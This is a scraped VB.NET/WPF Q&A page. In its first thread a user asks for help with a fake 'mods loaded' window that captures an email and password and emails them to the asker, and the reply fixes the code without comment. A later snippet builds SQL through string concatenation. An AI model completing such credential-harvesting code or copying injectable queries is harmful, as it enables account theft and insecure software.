Reference to a non-shared member requires an object reference TextBox - wpf

Hello I have problem that I want make application but there is one problem in my code I am making a keylogger to make fun from my friends i am doing it in Visual Basic WPF app but i am getting error Reference to a non-shared member requires an object reference from TextBox... can someone help me with it ? I need that textbot to send information to my email thx for help
Imports System.Net.Mail
Class MainWindow
Private Sub Button_Click(sender As Object, e As RoutedEventArgs)
NewMethod1()
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Email", "Email")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Email")
mail.To.Add("Gmail")
mail.Subject = "Email : " & TextBox.Text
mail.Body = "Password : " & TextBox.Text & ","
smtpServer.Send(mail)
MsgBox("Modi boli úspečne načítane uži zábavu / Mods have been sucsessfully loaded Enjoy playing")
End Sub
Private Shared Sub NewMethod1()
If TextBox.Text = "" Then
MsgBox("Kullanici Adi Yanliş")
NewMethod()
End If
End Sub
Private Shared Sub NewMethod()
If TextBox.Text = "" Then
MsgBox("Şifre Yanliş")
Else
End If
End Sub
End Class

You can't have static (shared) methods reference to something that is an property of a class you are in. Your shared methods (Sub) can't access it. Is there a reason for the functions to be shared? If not, you should remove it and that will solve your problem

Related

Treeview items don't expand

I'm developing a WPF application for my company, and everything needs to look the same way corresponding to our company's look. Therefore I have to make a custom folder explorer, which will feature a treeview of the current directory.
In order to make it easier, I've made the following class, which is basically a TreeViewItem that stores a DirectoryInfo and automaticely browses subfolders when expanded (not to browse everything at once and make the software faster). Here is my code :
Private Class TreeViewPlus
Inherits TreeViewItem
Public dir As IO.DirectoryInfo
Public Sub New()
End Sub
Public Sub New(dir As DirectoryInfo)
Me.dir = dir
Try
If Not dir.EnumerateDirectories Is Nothing Then 'If there are subdirectories, I add an empty item to enable the expansion
Me.Items.Add(New TreeViewPlus)
End If
Catch ex As Exception
End Try
End Sub
Private Sub TreeViewPlus_Expanded(sender As Object, e As RoutedEventArgs) Handles Me.Expanded
Me.Items.Clear()
Try
For Each folder In dir.EnumerateDirectories()
Dim item As TreeViewPlus = New TreeViewPlus(folder)
item.Name = Text.RegularExpressions.Regex.Replace(folder.FullName, "[^a-zA-Z0-9]", "")
item.Header = folder.Name
Me.Items.Add(item)
Next
Catch ex As Exception
End Try
End Sub
End Class
And here is the code where I initialize the first directories: (TRV_Arbre is the name of my TreeView)
Sub New()
...
For Each Drive As IO.DriveInfo In IO.DriveInfo.GetDrives
Dim item As TreeViewPlus = New TreeViewPlus(Drive.RootDirectory)
item.Header = Drive.Name
TRV_Arbre.Items.Add(item)
Next
...
End Sub
The Issue I've got is that the first level of items correctly expand, but not the following ones.
See here : https://youtu.be/E6BJbKal5Sk
I've already debugged my code a little, and it correctly creates the different Items.
Can anyone help me for this ? Thanks in advance.
There is a simple way to solve this problem and that is to Override the OnExpanded Sub on the Base TreeViewItem class instead of implementing your own Expanded method. Then in the end you execute MyBase.OnExpanded(e) method which seems to contain the correct update events to send out to whomever listens. In this case your TreeView.
Protected Overrides Sub OnExpanded(e As RoutedEventArgs)
Me.Items.Clear()
Try
For Each folder In dir.EnumerateDirectories()
Dim item As TreeViewPlus = New TreeViewPlus(folder)
item.Name = Text.RegularExpressions.Regex.Replace(folder.FullName, "[^a-zA-Z0-9]", "")
item.Header = folder.Name
Me.Items.Add(item)
Next
Catch ex As Exception
End Try
MyBase.OnExpanded(e)
End Sub

Can you cancel a page from closing

Is there any way to cancel a page from closing depending on some condition in my Silverlight app? The purpose: While working in this app there is a part I want to stay open until they end a certain task then the browser can react as normal. I just don't want any accidental closing to happen. If this is not possible that is fine and I will work around it. The app is hosted in an ASPX page.
After some work here is the wrapper(VB>NET);
Public Class SWC
''' <summary>Event arguments for handling the window close event.</summary>
Public Class HtmlWindowCloseEventArgs : Inherits CancelEventArgs
''' <summary>Gets or sets the message to display to the user asking them if they want to continue the window close.</summary>
Public Property DialogMessage() As String
Get
Return _dialogMessage
End Get
Set(value As String)
_dialogMessage = value
End Set
End Property
Private _dialogMessage As String
End Class
''' <summary>Monitors the closing of the HTML window.</summary>
Public Class HtmlWindowCloseMonitor
#Region "Events"
''' <summary>Fires when immediately before the window closes.</summary>
Public Shared Event WindowClosing As EventHandler(Of HtmlWindowCloseEventArgs)
Private Shared Sub OnWindowClosing(sender As Object, e As HtmlWindowCloseEventArgs)
RaiseEvent WindowClosing(sender, e)
End Sub
#End Region
#Region "Head"
Private Const ScriptableObjectName As String = "HtmlWindowCloseMonitor"
Private Const DefaultDialogMessage As String = "Are you sure you want to close the application?"
Private Shared ReadOnly instance As HtmlWindowCloseMonitor
''' <summary>Constructor.</summary>
Shared Sub New()
If instance Is Nothing Then
instance = New HtmlWindowCloseMonitor()
End If
End Sub
Private Sub New()
' Register the scriptable callback member.
HtmlPage.RegisterScriptableObject(ScriptableObjectName, Me)
' Retrieve the name of the plugin.
Dim pluginName = HtmlPage.Plugin.Id
If pluginName Is Nothing Then
Throw New Exception("Cannot register the 'onbeforeunload' event because the Silverlight <object> does not have an ID. Add an ID attribute to the Silverlight <object> host tag.")
End If
' Wire up event.
Dim eventFunction = String.Format("window.onbeforeunload = function () {{" & Environment.NewLine &
"var slApp = document.getElementById('{0}');" & Environment.NewLine &
"var result = slApp.Content.{1}.OnBeforeUnload();" & Environment.NewLine &
"if(result != null && result.length > 0)" & Environment.NewLine &
"return result;" & Environment.NewLine & "}}", pluginName, ScriptableObjectName)
HtmlPage.Window.Eval(eventFunction)
End Sub
#End Region
#Region "Methods"
<ScriptableMember()> _
Public Function OnBeforeUnload() As String
' Check with event-listeners to see if any of them want to cancel the window-close operation.
Dim args = New HtmlWindowCloseEventArgs()
OnWindowClosing(Me, args)
If Not args.Cancel Then
' No one wanted to stop the window from closing.
Return Nothing
End If
' Present the 'Are you sure' dialog to the use (via the browser).
Dim message = If(args.DialogMessage IsNot Nothing, args.DialogMessage, DefaultDialogMessage)
Return message
End Function
#End Region
End Class
End Class
You can bind on onBeforeUnload / BeforeUnload event to ask the user.

VB.NET Reference new form object's listview from another class

On a form i have a listview with a contextmenu.
Right click on a listview item shows the context menu.
When i click on the menubutton, what i would like to happen is the following :
A form i called TaskLog will appear, it contains only a listview
(This is the code i have) :
Private Sub ShowLogToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ShowLogToolStripMenuItem.Click
logform = New TaskLog()
logform.task = "taskname"
logform.server = "servername"
logform.Show()
End Sub
That listview should be filled with data from a database before it shows, therefore i have the following in the load event of the TaskLog Form
Public Class TaskLog
Private db As Database = New Database
Public task As String
Public server As String
Private Sub TaskLog_Load(sender As Object, e As EventArgs) Handles MyBase.Load
db.connect()
db.getTaskLog(task, server, Me)
End Sub
End Class
Then in the database class gettask function i call the database, store data in an object, which all works fine. Only problem here is that my database object cannot find the listview and the form, even if i pass the form as a variable to this function (frm as TaskLog).
Public Function getTaskLog(taskname As String, server As String, frm As TaskLog) As Boolean
'Declare sql command variable
Dim command As New SqlCommand
'Try to open db connection
Try
connection.Open()
command.Connection = connection
'Set query to command object text
command.CommandText = "select * from tasklog where ltrim(rtrim(server)) Like'" & Trim(server) & "%' and ltrim(rtrim(task)) = '" & Trim(taskname) & "'"
'Declare data reading pbject
Dim rdr As SqlDataReader = command.ExecuteReader()
'Perform operations while rows are returned from database
While rdr.Read()
'Store database entry to TaskData Object
taskLogData = New TaskData(rdr("frequency").ToString, rdr("start"), rdr("duration"), rdr("delay"), rdr("rescheduled"), rdr("forced"), rdr("task"), rdr("server"), rdr("email"), rdr("message"), rdr("status"), rdr("logtime"))
Dim new_item As New _
ListViewItem(Trim(taskLogData.task_server.ToString))
new_item.SubItems.Add(Trim(taskLogData.task_name.ToString))
new_item.SubItems.Add(Trim(taskLogData.task_status.ToString))
new_item.SubItems.Add(Trim(taskLogData.task_frequency.ToString))
new_item.SubItems.Add(Trim(taskLogData.task_nextrun.ToString))
new_item.SubItems.Add(Trim(taskLogData.task_forced.ToString))
new_item.SubItems.Add(Trim(taskLogData.task_rescheduled.ToString))
new_item.SubItems.Add(Trim(taskLogData.task_rescheduled.ToString))
new_item.Group = frm.ListView1.Groups(Trim(taskData.task_status.ToString))
frm.ListView1.Items.Add(new_item)
End While
Return True
Catch ex As Exception 'If connection fails return error message
MessageBox.Show("Error while retrieving records on table..." & ex.Message, "Load Records")
Return True
Finally 'After connection close database
connection.Close()
End Try
End Function
Object Reference not set to an instance of an object appears on the following line in the function above:
frm.ListView1.Items.Add(new_item)
Can someone see the problem, and hopefully some help ? I tried a couple of things but still not sure about what to do best here. Thanks !!!!!!!
This line
new_item.Group = frm.ListView1.Groups(Trim(taskData.task_status.ToString))
refers to a Group that should exist in the ListView1. You could comment it out if it is not needed

How to have a global Dictionary in VB.NET/WPF application to save data from different windows?

I am new to VB.NET and WPF.
I am building a "Questionnaire" app. Users will be presented sequentially with different questions/tasks (windows). After they respond on each question/task and press a "submit" button a new window will open with a new question/task, and previous window will close. After each question, when the button is pressed, I need to store data to some global object. After all questions are answered the data of this object should be written out to the output file.
I figured out that Dictionary will be the best to store the results after each window.
I am not sure how, where to create this global Dictionary and how to access it. Should I use View Model? If yes, can you give an example? Or, should it be just a simple class with shared property? (something like this)
EDIT 2: I tried many different ways recommended online
GlobalModule:
Module GlobalModule
Public Foo As String
End Module
GlobalVariables:
Public Class GlobalVariables
Public Shared UserName As String = "Tim Johnson"
Public Shared UserAge As Integer = 39
End Class
Global properties:
Public Class Globals
Public Shared Property One As String
Get
Return TryCast(Application.Current.Properties("One"), String)
End Get
Set(ByVal value As String)
Application.Current.Properties("One") = value
End Set
End Property
Public Shared Property Two As Integer
Get
Return Convert.ToInt32(Application.Current.Properties("Two"))
End Get
Set(ByVal value As Integer)
Application.Current.Properties("Two") = value
End Set
End Property
End Class
Here is where I save the data to global variables/properties in the first window. I need to store data in this subroutine before closing an old window and opening a new window. I use MessageBox just for testing.
Private Sub btnEnter_Click(ByVal sender As Object, ByVal e As System.Windows.RoutedEventArgs) Handles btnEnter.Click
Dim instructionWindow As InstructionsWindow
instructionWindow = New InstructionsWindow()
Application.Current.Properties("number") = textBoxValue.Text
Globals.One = "2"
Globals.Two = 3
MessageBox.Show("GlobalVariables: UserName=" & GlobalVariables.UserName & " UserAge=" & GlobalVariables.UserAge)
GlobalVariables.UserName = "Viktor"
GlobalVariables.UserAge = 34
GlobalModule.Foo = "Test Foo"
'testing if it saved tha value
'MessageBox.Show(Application.Current.Properties("number"))
Application.Current.MainWindow.Close()
instructionWindow.ShowDialog()
End Sub
Next subroutine is where I am trying to retrieve the value from global Properties/variables in the second window, but message boxes come out empty. There might also the case that I am assigning values in a wrong way, or not reading them in a right way (casting?) :
Private Sub FlowDocReader_Initialized(ByVal sender As Object, ByVal e As System.EventArgs) Handles FlowDocReader.Initialized
' Get a reference to the Application base class instance.
Dim currentApplication As Application = Application.Current
MessageBox.Show(currentApplication.Properties("number"))
MessageBox.Show("One = " & Globals.One & " Two = " & Globals.Two)
MessageBox.Show("GlobalVariables: UserName=" & GlobalVariables.UserName & " UserAge=" & GlobalVariables.UserAge)
MessageBox.Show("GlobalModule.Foo = " & GlobalModule.Foo)
Dim filename As String = My.Computer.FileSystem.CurrentDirectory & "\instructions.txt"
Dim paragraph As Paragraph = New Paragraph()
paragraph.Inlines.Add(System.IO.File.ReadAllText(filename))
Dim document As FlowDocument = New FlowDocument(paragraph)
FlowDocReader.Document = document
End Sub
Thanks.
You can make public Dictionary property for form and put your dictionry to this property or make constructor with Dictionary argument.
You already have this dictionary Application.Properties
Look here, please.
First, you can define a dictionary (list of lists) as follows at the beginning of a form or in a module
Dim dic As New Dictionary(Of String, List(Of String))
As the user completes questions on a form, write the partucular form number and query results to a single record in the dic before going to the next form (place this code into the "Next" button):
'Assume q1response=3, q2response=4,..., qpresponse="text", etc.
Dim myValues As New List(Of String)
myValues.Add(formname)
myValues.Add(q1response)
myValues.Add(q2response)
.
.
myValues.Add(qpresponse)
dic.Add(username, myValues)
When a user is done, there will be multiple records in the dictionary, each of which starts with their name and is followed by question responses. You can loop through multiple dictionary records, where each record is for a user using the following:
For Each DictionaryEntry In dic 'this loops through dic entries
Dim str As List(Of String) = DictionaryEntry.Value
'here you can do whatever you want with results while you read through dic records
'username will be = str(0)
'formname will be str(1)
'q1 response on "formname" will be str(2)
'q2 response on "formname" will be str(3)
'q3 response on "formname" will be str(4)
...
Next
The trick is that there will be multiple dictionary records with results for one user, where record one can have results like "John Doe,page1,q1,q2,q3" and record 2 will be "John Doe,page2,q4,q5,q6." Specifically, the "str" in the above loop will be an array of string data containing all the items within each dictionary record, that is, in str(0), str(1), str(2),... This is the information you need to work with or move, save, analyze, etc.
You can always put all the code I provided in a class (which will be independent of any form) and dimension the sic is a Sub New in this class, with the updating .Add values lines in their own sub in this same class). Then just Dim Updater As New MyNewClassName. Call the Updater in each continue button using Call Updater.SubNameWithAddValues(q1,q2,...qp). It won't matter where you are in your program since you using a specific class. The one thing I noticed with my code is that you can only use the line that adds the "key" or the username once, so use it after the last query -so put it in a Sub Finished in your new class and call as Call Updater.Finished(username,q30,q31,last)

ListBox ObservableCollection duplicating

I have a WPF application which has a listbox bound to an ObservableCollection which retrieves it's data from a Database. I am attempting to have the ListBox data refreshed every minute through the use of a DispatcherTimer.
Dim dispatcherTimer As DispatcherTimer = New System.Windows.Threading.DispatcherTimer
AddHandler dispatcherTimer.Tick, AddressOf getRoomMeetingDetails
dispatcherTimer.Interval = New TimeSpan(0, 2, 0)
dispatcherTimer.Start()
Which calls the getRoomMeetingDetails method as follows.
Public Sub getRoomMeetingDetails()
If Not My.Settings.rbConn = Nothing And _
Not gl_rmName = Nothing Then
Dim sqlConn As New SqlConnection(My.Settings.rbConn)
Dim sqlquery As String = "SELECT *" & _
"FROM table " & _
Dim sqlCmd As New SqlCommand(sqlquery, sqlConn)
sqlConn.Open()
Dim dr As SqlDataReader
dr = sqlCmd.ExecuteReader
While dr.Read
roomMeetingList.Add(New meetingDetails() With {.eMeetingId = dr.Item("dId")})
End While
End If
End Sub
I then have my two classes for the Collection as follows (I am very new to ObservableCollections and have tried my best to model my code off the MSDN examples, so if this isn't the best method to use to achieve what I am trying to achieve, or can be done easier, please let me know)
Public Class MeetingList
Inherits ObservableCollection(Of meetingDetails)
Private Shared list As New MeetingList
Public Shared Function getList() As MeetingList
Return list
End Function
Private Sub New()
AddItems()
End Sub
Public Shared Sub reset(ByVal rmName As String)
list.ClearItems()
list.AddItems()
End Sub
Private Sub AddItems()
End Sub
End Class
Public Class meetingDetails
Implements INotifyPropertyChanged
Public Sub New()
End Sub
Public Property eID() As String
Get
Return _eID
End Get
Set(ByVal value As String)
_eID = value
OnPropertyChanged("eID")
End Set
End Property
Private _eID As String
Public Event PropertyChanged As PropertyChangedEventHandler _
Implements INotifyPropertyChanged.PropertyChanged
End Class
What is happening is when the DispatcherTimer is called every minute, the ListBox data is duplicated which I believe is because the getRoomMeetingDetails method is adding all of the SQL results on every tick. How can I refresh the ListBox with only new data or data changes from the table?
I am really struggling to work out where I am going wrong and what needs to be added/removed for this to work.
If there is any details I am missing please let me know.
Matt
Either you clear all the data in the listbox before adding them again or you do a check on the collection. I assume your eID is the primary key? the do something like this:
if ( roomMeetingList.Where ( entry => entry.eID == dbID ).Count () == 0 ) {
// add
}
C# code, but it shows the idea
developerFusion's convert made this VB:
If roomMeetingList.Where(Function(entry) entry.eID = dbID).Count() = 0 Then
' Add
End If

Resources